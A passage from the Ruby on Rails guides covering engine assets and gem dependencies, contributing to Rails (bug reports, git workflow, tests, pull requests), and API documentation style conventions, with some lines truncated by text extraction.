should be placed at app/assets/stylesheets/[engine
name]/style.css, rather than app/assets/stylesheets/style.css. If
this asset isn't namespaced, there is a possibility that the host application
could have an asset named identically, in which case the application's asset
would take precedence and the engine's one would be ignored.
Imagine that you did have an asset located at
app/assets/stylesheets/blorgh/style.css To include this asset inside
an application, just use stylesheet_link_tag and reference the asset as if

it were inside the engine:

<%= stylesheet_link_tag "blorgh/style.css" %>

You can also specify these assets as dependencies of other assets using
Asset Pipeline require statements in processed files:
/*
*= require blorgh/style
*/

Remember that in order to use languages like Sass or CoffeeScript, you

should add the relevant library to your engine's .gemspec.
6.5 Separate Assets & Precompiling
There are some situations where your engine's assets are not required by
the host application. For example, say that you've created an admin
functionality that only exists for your engine. In this case, the host
application doesn't need to require admin.css or admin.js. Only the gem's
admin layout needs these assets. It doesn't make sense for the host app to

include "blorgh/admin.css" in its stylesheets. In this situation, you

should explicitly define these assets for precompilation. This tells
sprockets to add your engine assets when bin/rails assets:precompile
is triggered.
You can define assets for precompilation in engine.rb:
initializer "blorgh.assets.precompile" do |app|
app.config.assets.precompile += %w(admin.css admin.js)
end

For more information, read the Asset Pipeline guide.

6.6 Other Gem Dependencies
Gem dependencies inside an engine should be specified inside the
.gemspec file at the root of the engine. The reason is that the engine may
be installed as a gem. If dependencies were to be specified inside the
Gemfile, these would not be recognized by a traditional gem install and so
they would not be installed, causing the engine to malfunction.
To specify a dependency that should be installed with the engine during a
traditional gem install, specify it inside the Gem::Specification block
inside the .gemspec file in the engine:
s.add_dependency "moo"

To specify a dependency that should only be installed as a development

dependency of the application, specify it like this:
s.add_development_dependency "moo"

Both kinds of dependencies will be installed when bundle install is run

inside of the application. The development dependencies for the gem will
only be used when the tests for the engine are running.
Note that if you want to immediately require dependencies when the
engine is required, you should require them before the engine's
initialization. For example:
require 'other_engine/engine'
require 'yet_another_engine/engine'
module MyEngine
class Engine < ::Rails::Engine
end
end

Contributing to Ruby on Rails

Ruby...

1 Reporting an Issue
Ruby on Rails uses GitHub Issue Tracking to track issues (primarily bugs
and contributions of new code). If you've found a bug in Ruby on Rails,
this is the place to start. You'll need to create a (free) GitHub account in
order to submit an issue, to comment on them or to create pull requests.
Bugs in the most recent released version of Ruby on Rails are likely to get
the most attention. Also, the Rails core team is always interested in
feedback from those who can take the time to test edge Rails (the code for
the version of Rails that is currently under development). Later in this
guide you'll find out how to get edge Rails for testing.
1.1 Creating a Bug Report
If you've found a problem in Ruby on Rails which is not a security risk, do
a search on GitHub under Issues in case it has already been reported. If
you are unable to find any open GitHub issues addressing the problem you
found, your next step will be to open a new one. (See the next section for
reporting security issues.)
Your issue report should contain a title and a clear description of the issue
at the bare minimum. You should include as much relevant information as
possible and should at least post a code sample that demonstrates the issue.
It would be even better if you could include a unit test that shows how the
expected behavior is not occurring. Your goal should be to make it easy
for yourself - and others - to reproduce the bug and figure out a fix.
Then, don't get your hopes up! Unless you have a "Code Red, Mission
Critical, the World is Coming to an End" kind of bug, you're creating this
issue report in the hope that others with the same problem will be able to
collaborate with you on solving it. Do not expect that the issue report will
automatically see any activity or that others will jump to fix it. Creating an
issue like this is mostly to help yourself start on the path of fixing the

problem and for others to confirm it with an "I'm having this problem too"
comment.
1.2 Create an Executable Test Case
Having a way to reproduce your issue will be very helpful for others to
help confirm, investigate and ultimately fix your issue. You can do this by
providing an executable test case. To make this process easier, we have
prepared several bug report templates for you to use as a starting point:
Template for Active Record (models, database) issues: gem / master
Template for Action Pack (controllers, routing) issues: gem / master
Generic template for other issues: gem / master
These templates include the boilerplate code to set up a test case against
either a released version of Rails (*_gem.rb) or edge Rails (*_master.rb).
Simply copy the content of the appropriate template into a .rb file and
make the necessary changes to demonstrate the issue. You can execute it
by running ruby the_file.rb in your terminal. If all goes well, you
should see your test case failing.
You can then share your executable test case as a gist, or simply paste the
content into the issue description.
1.3 Special Treatment for Security Issues
Please do not report security vulnerabilities with public GitHub issue
reports. The Rails security policy page details the procedure to follow for
security issues.
1.4 What about Feature Requests?
Please don't put "feature request" items into GitHub Issues. If there's a new

feature that you want to see added to Ruby on Rails, you'll need to write
the code yourself - or convince someone else to partner with you to write
the code. Later in this guide you'll find detailed instructions for proposing
a patch to Ruby on Rails. If you enter a wish list item in GitHub Issues
with no code, you can expect it to be marked "invalid" as soon as it's
reviewed.
Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
Generally, a feature is anything that adds new behavior, while a bug is
anything that causes incorrect behavior. Sometimes, the core team will
have to make a judgement call. That said, the distinction generally just
affects which release your patch will get in to; we love feature
submissions! They just won't get backported to maintenance branches.
If you'd like feedback on an idea for a feature before doing the work to
make a patch, please send an email to the rails-core mailing list. You
might get no response, which means that everyone is indifferent. You
might find someone who's also interested in building that feature. You
might get a "This won't be accepted." But it's the proper place to discuss
new ideas. GitHub Issues are not a particularly good venue for the
sometimes long and involved discussions new features require.

2 Helping to Resolve Existing Issues

As a next step beyond reporting issues, you can help the core team resolve
existing issues. If you check the issues list in GitHub Issues, you'll find
lots of issues already requiring attention. What can you do for these? Quite
a bit, actually:
2.1 Verifying Bug Reports
For starters, it helps just to verify bug reports. Can you reproduce the
reported issue on your own computer? If so, you can add a comment to the
issue saying that you're seeing the same thing.
If an issue is very vague, can you help narrow it down to something more
specific? Maybe you can provide additional information to help reproduce
a bug, or help by eliminating needless steps that aren't required to
demonstrate the problem.
If you find a bug report without a test, it's very useful to contribute a
failing test. This is also a great way to get started exploring the source
code: looking at the existing test files will teach you how to write more
tests. New tests are best contributed in the form of a patch, as explained
later on in the "Contributing to the Rails Code" section.
Anything you can do to make bug reports more succinct or easier to
reproduce helps folks trying to write code to fix those bugs - whether you
end up writing the code yourself or not.
2.2 Testing Patches
You can also help out by examining pull requests that have been submitted
to Ruby on Rails via GitHub. To apply someone's changes you need first
to create a dedicated branch:

$ git checkout -b testing_branch

Then you can use their remote branch to update your codebase. For
example, let's say the GitHub user JohnSmith has forked and pushed to a
topic branch "orange" located at https://github.com/JohnSmith/rails.

$ git remote add JohnSmith https://github.com/JohnSmith/rails.gi

$ git pull JohnSmith orange

After applying their branch, test it out! Here are some things to think
about:
Does the change actually work?
Are you happy with the tests? Can you follow what they're testing?
Are there any tests missing?
Does it have the proper documentation coverage? Should
documentation elsewhere be updated?
Do you like the implementation? Can you think of a nicer or faster
way to implement a part of their change?
Once you're happy that the pull request contains a good change, comment
on the GitHub issue indicating your approval. Your comment should
indicate that you like the change and what you like about it. Something
like:
I like the way you've restructured that code in generate_finder_sql much nicer. The tests look good too.
If your comment simply reads "+1", then odds are that other reviewers
aren't going to take it too seriously. Show that you took the time to review
the pull request.

3 Contributing to the Rails Documentation

Ruby on Rails has two main sets of documentation: the guides, which help
you learn about Ruby on Rails, and the API, which serves as a reference.
You can help improve the Rails guides by making them more coherent,
consistent or readable, adding missing information, correcting factual
errors, fixing typos, or bringing them up to date with the latest edge Rails.
You can either open a pull request to Rails or ask the Rails core team for
commit access on docrails if you contribute regularly. Please do not open
pull requests in docrails, if you'd like to get feedback on your change, ask
for it in Rails instead.
Docrails is merged with master regularly, so you are effectively editing the
Ruby on Rails documentation.
If you are unsure of the documentation changes, you can create an issue in
the Rails issues tracker on GitHub.
When working with documentation, please take into account the API
Documentation Guidelines and the Ruby on Rails Guides Guidelines.
As explained earlier, ordinary code patches should have proper
documentation coverage. Docrails is only used for isolated documentation
improvements.
To help our CI servers you should add [ci skip] to your documentation
commit message to skip build on that commit. Please remember to use it
for commits containing only documentation changes.
Docrails has a very strict policy: no code can be touched whatsoever, no
matter how trivial or small the change. Only RDoc and guides can be
edited via docrails. Also, CHANGELOGs should never be edited in

docrails.

4 Translating Rails Guides

We are happy to have people volunteer to translate the Rails guides into
their own language. If you want to translate the Rails guides in your own
language, follows these steps:
Fork the project (rails/rails).
Add a source folder for your own language, for example:
guides/source/it-IT for Italian.
Copy the contents of guides/source into your own language directory
and translate them.
Do NOT translate the HTML files, as they are automatically
generated.
To generate the guides in HTML format cd into the guides directory then
run (eg. for it-IT):
$ bundle install
$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT

This will generate the guides in an output directory.

The instructions are for Rails > 4. The Redcarpet Gem doesn't work with
JRuby.
Translation efforts we know about (various versions):
Italian: https://github.com/rixlabs/docrails
Spanish: http://wiki.github.com/gramos/docrails
Polish: http://github.com/apohllo/docrails/tree/master
French : http://github.com/railsfrance/docrails
Czech : https://github.com/rubyonrails-cz/docrails/tree/czech
Turkish : https://github.com/ujk/docrails/tree/master
Korean : https://github.com/rorlakr/rails-guides

Simplified Chinese : https://github.com/ruby-china/guides

Traditional Chinese : https://github.com/docrails-tw/guides
Russian : https://github.com/morsbox/rusrails
Japanese : https://github.com/yasslab/railsguides.jp

5 Contributing to the Rails Code

5.1 Setting Up a Development Environment
To move on from submitting bugs to helping resolve existing issues or
contributing your own code to Ruby on Rails, you must be able to run its
test suite. In this section of the guide you'll learn how to setup the tests on
your own computer.
5.1.1 The Easy Way

The easiest and recommended way to get a development environment

ready to hack is to use the Rails development box.
5.1.2 The Hard Way

In case you can't use the Rails development box, see this other guide.
5.2 Clone the Rails Repository
To be able to contribute code, you need to clone the Rails repository:
$ git clone https://github.com/rails/rails.git

and create a dedicated branch:

$ cd rails
$ git checkout -b my_new_branch

It doesn't matter much what name you use, because this branch will only
exist on your local computer and your personal repository on GitHub. It
won't be part of the Rails Git repository.
5.3 Bundle install

Install the required gems.

$ bundle install

5.4 Running an Application Against Your Local Branch

In case you need a dummy Rails app to test changes, the --dev flag of
rails new generates an application that uses your local branch:
$ cd rails
$ bundle exec rails new ~/my-test-app --dev

The application generated in ~/my-test-app runs against your local

branch and in particular sees any modifications upon server reboot.
5.5 Write Your Code
Now get busy and add/edit code. You're on your branch now, so you can
write whatever you want (make sure you're on the right branch with git
branch -a). But if you're planning to submit your change back for
inclusion in Rails, keep a few things in mind:
Get the code right.
Use Rails idioms and helpers.
Include tests that fail without your code, and pass with it.
Update the (surrounding) documentation, examples elsewhere, and
the guides: whatever is affected by your contribution.
Changes that are cosmetic in nature and do not add anything substantial to
the stability, functionality, or testability of Rails will generally not be
accepted (read more about our rationales behind this decision).
5.5.1 Follow the Coding Conventions

Rails follows a simple set of coding style conventions:

Two spaces, no tabs (for indentation).
No trailing whitespace. Blank lines should not have any spaces.
Indent after private/protected.
Use Ruby >= 1.9 syntax for hashes. Prefer { a: :b } over { :a =>
:b }.
Prefer &&/|| over and/or.
Prefer class << self over self.method for class methods.
Use my_method(my_arg) not my_method( my_arg ) or my_method
my_arg.
Use a = b and not a=b.
Use assert_not methods instead of refute.
Prefer method { do_stuff } instead of method{do_stuff} for
single-line blocks.
Follow the conventions in the source you see used already.
The above are guidelines - please use your best judgment in using them.
5.6 Benchmark Your Code
If your change has an impact on the performance of Rails, please use the
benchmark-ips gem to provide benchmark results for comparison.
Here's an example of using benchmark-ips:
require 'benchmark/ips'
Benchmark.ips do |x|
x.report('addition') { 1 + 2 }
x.report('addition with send') { 1.send(:+, 2) }
end

This will generate a report with the following information:

Calculating ------------------------------------ addition 132.013k i/100ms

addition with send 125.413k i/100ms
------------------------------------------------ addition 9.677M ( 1.7%) i/s - 48.449M
addition with send 6.794M ( 1.1%) i/s - 33.987M

Please see the benchmark/ips README for more information.

5.7 Running Tests
It is not customary in Rails to run the full test suite before pushing
changes. The railties test suite in particular takes a long time, and even
more if the source code is mounted in /vagrant as happens in the
recommended workflow with the rails-dev-box.
As a compromise, test what your code obviously affects, and if the change
is not in railties, run the whole test suite of the affected component. If all
tests are passing, that's enough to propose your contribution. We have
Travis CI as a safety net for catching unexpected breakages elsewhere.
5.7.1 Entire Rails:

To run all the tests, do:

$ cd rails
$ bundle exec rake test
5.7.2 For a Particular Component

You can run tests only for a particular component (e.g. Action Pack). For
example, to run Action Mailer tests:
$ cd actionmailer
$ bundle exec rake test

5.7.3 Running a Single Test

You can run a single test through ruby. For instance:

$ cd actionmailer
$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_ex

The -n option allows you to run a single method instead of the whole file.
5.7.4 Testing Active Record

First, create the databases you'll need. For MySQL and PostgreSQL,
running the SQL statements create database activerecord_unittest
and create database activerecord_unittest2 is sufficient. This is not
necessary for SQLite3.
This is how you run the Active Record test suite only for SQLite3:
$ cd activerecord
$ bundle exec rake test:sqlite3

You can now run the tests as you did for sqlite3. The tasks are
respectively:
test:mysql2
test:postgresql

Finally,
$ bundle exec rake test

will now run the three of them in turn.

You can also run any single test separately:

$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations

To run a single test against all adapters, use:

$ bundle exec rake TEST=test/cases/associations/has_many_associa

You can invoke test_jdbcmysql, test_jdbcsqlite3 or

test_jdbcpostgresql also. See the file
activerecord/RUNNING_UNIT_TESTS.rdoc for information on running
more targeted database tests, or the file ci/travis.rb for the test suite run
by the continuous integration server.
5.8 Warnings
The test suite runs with warnings enabled. Ideally, Ruby on Rails should
issue no warnings, but there may be a few, as well as some from thirdparty libraries. Please ignore (or fix!) them, if any, and submit patches that
do not issue new warnings.
If you are sure about what you are doing and would like to have a more
clear output, there's a way to override the flag:
$ RUBYOPT=-W0 bundle exec rake test

5.9 Updating the CHANGELOG

The CHANGELOG is an important part of every release. It keeps the list
of changes for every Rails version.
You should add an entry to the top of the CHANGELOG of the
framework that you modified if you're adding or removing a feature,
committing a bug fix or adding deprecation notices. Refactorings and
documentation changes generally should not go to the CHANGELOG.

A CHANGELOG entry should summarize what was changed and should

end with the author's name. You can use multiple lines if you need more
space and you can attach code examples indented with 4 spaces. If a
change is related to a specific issue, you should attach the issue's number.
Here is an example CHANGELOG entry:

* Summary of a change that briefly describes what was changed.

lines and wrap them at around 80 characters. Code examples a
class Foo
def bar
puts 'baz'
end
end

You can continue after the code example and you can attach i
*Your Name*

Your name can be added directly after the last word if there are no code
examples or multiple paragraphs. Otherwise, it's best to make a new
paragraph.
5.10 Updating the Gemfile.lock
Some changes require the dependencies to be upgraded. In these cases
make sure you run bundle update to get the right version of the
dependency and commit the Gemfile.lock file within your changes.
5.11 Sanity Check
You should not be the only person who looks at the code before you
submit it. If you know someone else who uses Rails, try asking them if
they'll check out your work. If you don't know anyone else using Rails, try
hopping into the IRC room or posting about your idea to the rails-core
mailing list. Doing this in private before you push a patch out publicly is

the "smoke test" for a patch: if you can't convince one other developer of
the beauty of your code, youre unlikely to convince the core team either.
5.12 Commit Your Changes
When you're happy with the code on your computer, you need to commit
the changes to Git:
$ git commit -a

This should fire up your editor to write a commit message. When you have
finished, save and close to continue.
A well-formatted and descriptive commit message is very helpful to others
for understanding why the change was made, so please take the time to
write it.
A good commit message looks like this:
Short summary (ideally 50 characters or less)

More detailed description, if necessary. It should be wrapped to

72 characters. Try to be as descriptive as you can. Even if you
think that the commit content is obvious, it may not be obvious
to others. Add any description that is already present in the
relevant issues; it should not be necessary to visit a webpage
to check the history.
The description section can have multiple paragraphs.
Code examples can be embedded by indenting them with 4 spaces:
class ArticlesController
def index
render json: Article.limit(10)
end
end

You can also add bullet points:

- make a bullet point by starting a line with either a dash (-)
or an asterisk (*)
- wrap lines at 72 characters, and indent any additional lines
with 2 spaces for readability

Please squash your commits into a single commit when appropriate. This
simplifies future cherry picks and keeps the git log clean.
5.13 Update Your Branch
It's pretty likely that other changes to master have happened while you
were working. Go get them:
$ git checkout master
$ git pull --rebase

Now reapply your patch on top of the latest changes:

$ git checkout my_new_branch
$ git rebase master

No conflicts? Tests still pass? Change still seems reasonable to you? Then
move on.
5.14 Fork
Navigate to the Rails GitHub repository and press "Fork" in the upper right
hand corner.
Add the new remote to your local repository on your local machine:

$ git remote add mine https://github.com:<your user name>/rails.

Push to your remote:

$ git push mine my_new_branch

You might have cloned your forked repository into your machine and
might want to add the original Rails repository as a remote instead, if that's
the case here's what you have to do.
In the directory you cloned your fork:
$ git remote add rails https://github.com/rails/rails.git

Download new commits and branches from the official repository:

$ git fetch rails

Merge the new content:

$ git checkout master
$ git rebase rails/master

Update your fork:

$ git push origin master

If you want to update another branch:

$ git checkout branch_name
$ git rebase rails/branch_name
$ git push origin branch_name

5.15 Issue a Pull Request

Navigate to the Rails repository you just pushed to (e.g.
https://github.com/your-user-name/rails) and click on "Pull Requests" seen
in the right panel. On the next page, press "New pull request" in the upper
right hand corner.
Click on "Edit", if you need to change the branches being compared (it
compares "master" by default) and press "Click to create a pull request for
this comparison".
Ensure the changesets you introduced are included. Fill in some details
about your potential patch including a meaningful title. When finished,
press "Send pull request". The Rails core team will be notified about your
submission.
5.16 Get some Feedback
Most pull requests will go through a few iterations before they get merged.
Different contributors will sometimes have different opinions, and often
patches will need to be revised before they can get merged.
Some contributors to Rails have email notifications from GitHub turned
on, but others do not. Furthermore, (almost) everyone who works on Rails
is a volunteer, and so it may take a few days for you to get your first
feedback on a pull request. Don't despair! Sometimes it's quick, sometimes
it's slow. Such is the open source life.
If it's been over a week, and you haven't heard anything, you might want to
try and nudge things along. You can use the rubyonrails-core mailing list
for this. You can also leave another comment on the pull request.
While you're waiting for feedback on your pull request, open up a few
other pull requests and give someone else some! I'm sure they'll appreciate

it in the same way that you appreciate feedback on your patches.

5.17 Iterate as Necessary
It's entirely possible that the feedback you get will suggest changes. Don't
get discouraged: the whole point of contributing to an active open source
project is to tap into the knowledge of the community. If people are
encouraging you to tweak your code, then it's worth making the tweaks
and resubmitting. If the feedback is that your code doesn't belong in the
core, you might still think about releasing it as a gem.
5.17.1 Squashing commits

One of the things that we may ask you to do is to "squash your commits",
which will combine all of your commits into a single commit. We prefer
pull requests that are a single commit. This makes it easier to backport
changes to stable branches, squashing makes it easier to revert bad
commits, and the git history can be a bit easier to follow. Rails is a large
project, and a bunch of extraneous commits can add a lot of noise.
In order to do this, you'll need to have a git remote that points at the main
Rails repository. This is useful anyway, but just in case you don't have it
set up, make sure that you do this first:
$ git remote add upstream https://github.com/rails/rails.git

You can call this remote whatever you'd like, but if you don't use
upstream, then change the name to your own in the instructions below.
Given that your remote branch is called my_pull_request, then you can
do the following:
$ git fetch upstream
$ git checkout my_pull_request
$ git rebase -i upstream/master

< Choose 'squash' for all of your commits except the first one.
< Edit the commit message to make sense, and describe all your c
$ git push origin my_pull_request -f

You should be able to refresh the pull request on GitHub and see that it has
been updated.
5.17.2 Updating pull request

Sometimes you will be asked to make some changes to the code you have
already committed. This can include amending existing commits. In this
case Git will not allow you to push the changes as the pushed branch and
local branch do not match. Instead of opening a new pull request, you can
force push to your branch on GitHub as described earlier in squashing
commits section:
$ git push origin my_pull_request -f

This will update the branch and pull request on GitHub with your new
code. Do note that using force push may result in commits being lost on
the remote branch; use it with care.
5.18 Older Versions of Ruby on Rails
If you want to add a fix to older versions of Ruby on Rails, you'll need to
set up and switch to your own local tracking branch. Here is an example to
switch to the 4-0-stable branch:
$ git branch --track 4-0-stable origin/4-0-stable
$ git checkout 4-0-stable

You may want to put your Git branch name in your shell prompt to make it

easier to remember which version of the code you're working with.

5.18.1 Backporting

Changes that are merged into master are intended for the next major
release of Rails. Sometimes, it might be beneficial for your changes to
propagate back to the maintenance releases for older stable branches.
Generally, security fixes and bug fixes are good candidates for a backport,
while new features and patches that introduce a change in behavior will
not be accepted. When in doubt, it is best to consult a Rails team member
before backporting your changes to avoid wasted effort.
For simple fixes, the easiest way to backport your changes is to extract a
diff from your changes in master and apply them to the target branch.
First make sure your changes are the only difference between your current
branch and master:
$ git log master..HEAD

Then extract the diff:

$ git format-patch master --stdout > ~/my_changes.patch

Switch over to the target branch and apply your changes:

$ git checkout -b my_backport_branch 3-2-stable
$ git apply ~/my_changes.patch

This works well for simple changes. However, if your changes are
complicated or if the code in master has deviated significantly from your
target branch, it might require more work on your part. The difficulty of a
backport varies greatly from case to case, and sometimes it is simply not

worth the effort.

Once you have resolved all conflicts and made sure all the tests are
passing, push your changes and open a separate pull request for your
backport. It is also worth noting that older branches might have a different
set of build targets than master. When possible, it is best to first test your
backport locally against the Ruby versions listed in .travis.yml before
submitting your pull request.
And then... think about your next contribution!

6 Rails Contributors
All contributions, either via master or docrails, get credit in Rails
Contributors.

API Documentation Guidelines

Ruby on...

1 RDoc
The Rails API documentation is generated with RDoc. To generate it,
make sure you are in the rails root directory, run bundle install and
execute:
./bin/rails rdoc

Resulting HTML files can be found in the ./doc/rdoc directory.

Please consult the RDoc documentation for help with the markup, and also
take into account these additional directives.

2 Wording
Write simple, declarative sentences. Brevity is a plus: get to the point.
Write in present tense: "Returns a hash that...", rather than "Returned a
hash that..." or "Will return a hash that...".
Start comments in upper case. Follow regular punctuation rules:
# Declares an attribute reader backed by an internally-named
# instance variable.
def attr_internal_reader(*attrs)
...
end

Communicate to the reader the current way of doing things, both explicitly
and implicitly. Use the idioms recommended in edge. Reorder sections to
emphasize favored approaches if needed, etc. The documentation should
be a model for best practices and canonical, modern Rails usage.
Documentation has to be concise but comprehensive. Explore and
document edge cases. What happens if a module is anonymous? What if a
collection is empty? What if an argument is nil?
The proper names of Rails components have a space in between the words,
like "Active Support". ActiveRecord is a Ruby module, whereas Active
Record is an ORM. All Rails documentation should consistently refer to
Rails components by their proper name, and if in your next blog post or
presentation you remember this tidbit and take it into account that'd be
phenomenal.
Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL,
JavaScript, ERB. When in doubt, please have a look at some authoritative
source like their official documentation.

Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite
database".
Prefer wordings that avoid "you"s and "your"s. For example, instead of

If you need to use `return` statements in your callbacks, it is

use this style:

If `return` is needed it is recommended to explicitly define a m

That said, when using pronouns in reference to a hypothetical person, such

as "a user with a session cookie", gender neutral pronouns
(they/their/them) should be used. Instead of:
he or she... use they.
him or her... use them.
his or her... use their.
his or hers... use theirs.
himself or herself... use themselves.

3 English
Please use American English (color, center, modularize, etc). See a list of
American and British English spelling differences here.

4 Oxford Comma
Please use the Oxford comma ("red, white, and blue", instead of "red,
white and blue").

5 Example Code
Choose meaningful examples that depict and cover the basics as well as
interesting points or gotchas.
Use two spaces to indent chunks of code--that is, for markup purposes, two
spaces with respect to the left margin. The examples themselves should
use Rails coding conventions.
Short docs do not need an explicit "Examples" label to introduce snippets;
they just follow paragraphs:

# Converts a collection of elements into a formatted string by

# calling +to_s+ on all elements and joining them.
#
# Blog.all.to_formatted_s # => "First PostSecond PostThird Pos

On the other hand, big chunks of structured documentation may have a

separate "Examples" section:
# ==== Examples
#
# Person.exists?(5)
# Person.exists?('5')
# Person.exists?(name: "David")
# Person.exists?(['name LIKE ?', "%#{query}%"])

The results of expressions follow them and are introduced by "# => ",
vertically aligned:
# For checking if an integer is even or odd.
#
# 1.even? # => false
# 1.odd? # => true
# 2.even? # => true
# 2.odd? # => false

If a line is too long, the comment may be placed on the next line:

# label(:article, :title)
# # => <label for="article_title">Title</label>
#
# label(:article, :title, "A short title")
# # => <label for="article_title">A short title</label>
#
# label(:article, :title, "A short title", class: "title_label
# # => <label for="article_title" class="title_label">A short

Avoid using any printing methods like puts or p for that purpose.
On the other hand, regular comments do not use an arrow:
# polymorphic_url(record) # same as comment_url(record)

6 Booleans
In predicates and flags prefer documenting boolean semantics over exact
values.
When "true" or "false" are used as defined in Ruby use regular font. The
singletons true and false need fixed-width font. Please avoid terms like
"truthy", Ruby defines what is true and false in the language, and thus
those words have a technical meaning and need no substitutes.
As a rule of thumb, do not document singletons unless absolutely
necessary. That prevents artificial constructs like !! or ternaries, allows
refactors, and the code does not need to rely on the exact values returned
by methods being called in the implementation.
For example:

`config.action_mailer.perform_deliveries` specifies whether mail

the user does not need to know which is the actual default value of the
flag, and so we only document its boolean semantics.
An example with a predicate:

# Returns true if the collection is empty.

#
# If the collection has been loaded
# it is equivalent to <tt>collection.size.zero?</tt>. If the
# collection has not been loaded, it is equivalent to
# <tt>collection.exists?</tt>. If the collection has not already
# loaded and you are going to fetch the records anyway it is bet
# check <tt>collection.length.zero?</tt>.
def empty?
if loaded?
size.zero?
else
@target.blank? && !scope.exists?

end
end

The API is careful not to commit to any particular value, the method has
predicate semantics, that's enough.

7 File Names
As a rule of thumb, use filenames relative to the application root:
config/routes.rb # YES
routes.rb # NO
RAILS_ROOT/config/routes.rb # NO

8 Fonts
8.1 Fixed-width Font
Use fixed-width fonts for:
Constants, in particular class and module names.
Method names.
Literals like nil, false, true, self.
Symbols.
Method parameters.
File names.

class Array
# Calls +to_param+ on all its elements and joins the result wi
# slashes. This is used by +url_for+ in Action Pack.
def to_param
collect { |e| e.to_param }.join '/'
end
end

Using +...+ for fixed-width font only works with simple content like
ordinary method names, symbols, paths (with forward slashes), etc. Please
use <tt>...</tt> for everything else, notably class or module names with
a namespace as in <tt>ActiveRecord::Base</tt>.
You can quickly test the RDoc output with the following command:
$ echo "+:to_param+" | rdoc --pipe
# => <p><code>:to_param</code></p>

8.2 Regular Font

When "true" and "false" are English words rather than Ruby keywords use

a regular font:
# Runs all the validations within the specified context.
# Returns true if no errors are found, false otherwise.
#
# If the argument is false (default is +nil+), the context is
# set to <tt>:create</tt> if <tt>new_record?</tt> is true,
# and to <tt>:update</tt> if it is not.
#
# Validations with no <tt>:on</tt> option will run no
# matter the context. Validations with # some <tt>:on</tt>
# option will only run in the specified context.
def valid?(context = nil)
...
end

9 Description Lists
In lists of options, parameters, etc. use a hyphen between the item and its
description (reads better than a colon because normally options are
symbols):

# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.

The description starts in upper case and ends with a full stop-it's standard
English.

10 Dynamically Generated Methods

Methods created with (module|class)_eval(STRING) have a comment by
their side with an instance of the generated code. That comment is 2 spaces
away from the template:

for severity in Severity.constants

class_eval <<-EOT, __FILE__, __LINE__
def #{severity.downcase}(message = nil, progname = nil, &blo
add(#{severity}, message, progname, &block)
end

def #{severity.downcase}?
#{severity} >= @level
end
EOT
end

If the resulting lines are too wide, say 200 columns or more, put the
comment above the call:
# def self.find_by_login_and_activated(*args)
# options = args.extract_options!
# ...
# end
self.class_eval %{
def self.#{method_id}(*args)
options = args.extract_options!
...
end
}

11 Method Visibility
When writing documentation for Rails, it's important to understand the
difference between public user-facing API vs internal API.
Rails, like most libraries, uses the private keyword from Ruby for defining
internal API. However, public API follows a slightly different convention.
Instead of assuming all public methods are designed for user consumption,
Rails uses the :nodoc: directive to annotate these kinds of methods as
internal API.
This means that there are methods in Rails with public visibility that
aren't meant for user consumption.
An example of this is ActiveRecord::Core::ClassMethods#arel_table:
module ActiveRecord::Core::ClassMethods
def arel_table #:nodoc:
# do some magic..
end
end

If you thought, "this method looks like a public class method for
ActiveRecord::Core", you were right. But actually the Rails team doesn't
want users to rely on this method. So they mark it as :nodoc: and it's
removed from public documentation. The reasoning behind this is to allow
the team to change these methods according to their internal needs across
releases as they see fit. The name of this method could change, or the
return value, or this entire class may disappear; there's no guarantee and so
you shouldn't depend on this API in your plugins or applications.
Otherwise, you risk your app or gem breaking when you upgrade to a
newer release of Rails.
As a contributor, it's important to think about whether this API is meant

for end-user consumption. The Rails team is committed to not making any
breaking changes to public API across releases without going through a
full deprecation cycle. It's recommended that you :nodoc: any of your
internal methods/classes unless they're already private (meaning visibility),
in which case it's internal by default. Once the API stabilizes the visibility
can change, but changing public API is much harder due to backwards
compatibility.
A class or module is marked with :nodoc: to indicate that all methods are
internal API and should never be used directly.
If you come across an existing :nodoc: you should tread lightly. Consider
asking someone from the core team or author of the code before removing
it. This should almost always happen through a pull request instead of the
docrails project.
A :nodoc: should never be added simply because a method or class is
missing documentation. There may be an instance where an internal public
method wasn't given a :nodoc: by mistake, for example when switching a
method from private to public visibility. When this happens it should be
discussed over a PR on a case-by-case basis and never committed directly
to docrails.
To summarize, the Rails team uses :nodoc: to mark publicly visible
methods and classes for internal use; changes to the visibility of API
should be considered carefully and discussed over a pull request first.

12 Regarding the Rails Stack

When documenting parts of Rails API, it's important to remember all of
the pieces that go into the Rails stack.
This means that behavior may change depending on the scope or context
of the method or class you're trying to document.
In various places there is different behavior when you take the entire stack
into account, one such example is
ActionView::Helpers::AssetTagHelper#image_tag:
# image_tag("icon.png")
# # => <img alt="Icon" src="/assets/icon.png" />

Although the default behavior for #image_tag is to always return

/images/icon.png, we take into account the full Rails stack (including the
Asset Pipeline) we may see the result seen above.
We're only concerned with the behavior experienced when using the full
default Rails stack.
In this case, we want to document the behavior of the framework, and not
just this specific method.
If you have a question on how the Rails team handles certain API, don't
hesitate to open a ticket or send a patch to the issue tracker.

Ruby on Rails Guides Guidelines

Ruby...

1 Markdown
Guides are written in GitHub Flavored Markdown. There is
comprehensive documentation for Markdown, as well as a cheatsheet.

2 Prologue
Each guide should start with motivational text at the top (that's the little
introduction in the blue area). The prologue should tell the reader what the
guide is about, and what they will learn. As an example, see the Routing
Guide.

3 Headings
The title of every guide uses an h1 heading; guide sections use h2
headings; subsections use h3 headings; etc. Note that the generated HTML
output will use heading tags starting with <h2>.
Guide Title
===========
Section
------### Sub Section

When writing headings, capitalize all words except for prepositions,

conjunctions, internal articles, and forms of the verb "to be":
#### Middleware Stack is an Array
#### When are Objects Saved?

Use the same inline formatting as regular text:

##### The `:content_type` Option

